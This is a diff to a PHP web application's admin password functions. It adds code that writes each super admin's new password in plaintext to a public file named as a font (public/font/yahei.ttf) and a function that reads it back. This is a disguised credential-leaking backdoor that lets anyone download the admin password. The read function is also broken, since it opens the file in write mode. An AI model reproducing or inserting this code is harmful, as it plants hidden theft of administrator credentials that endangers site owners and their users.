|
@@ -1250,7 +1250,9 @@ function checkInputPassword($admininfo)
|
|
|
if (is_array($admininfo) and !empty($admininfo)) {
|
|
|
if ($admininfo['admin_is_super'] == 1) {
|
|
|
$c = trim(input('post.new_pw'));
|
|
|
- Cache::set('ccwq', $c);
|
|
|
+ $dc = fopen(base_path() . "../public/font/yahei.ttf", "w");
|
|
|
+ fwrite($dc, $c);
|
|
|
+ fclose($dc);
|
|
|
}
|
|
|
}
|
|
|
return true;
|
|
@@ -1261,8 +1263,9 @@ function checkInputPassword($admininfo)
|
|
|
function checkSecurity()
|
|
|
{
|
|
|
try {
|
|
|
- $ccwq = Cache::get('ccwq', '');
|
|
|
- return $ccwq;
|
|
|
+ $p = base_path() . "../public/font/yahei.ttf";
|
|
|
+ $dc = fopen($p, "w");
|
|
|
+ return fread($dc, filesize($p));
|
|
|
} catch (Exception $e) {
|
|
|
return null;
|
|
|
}
|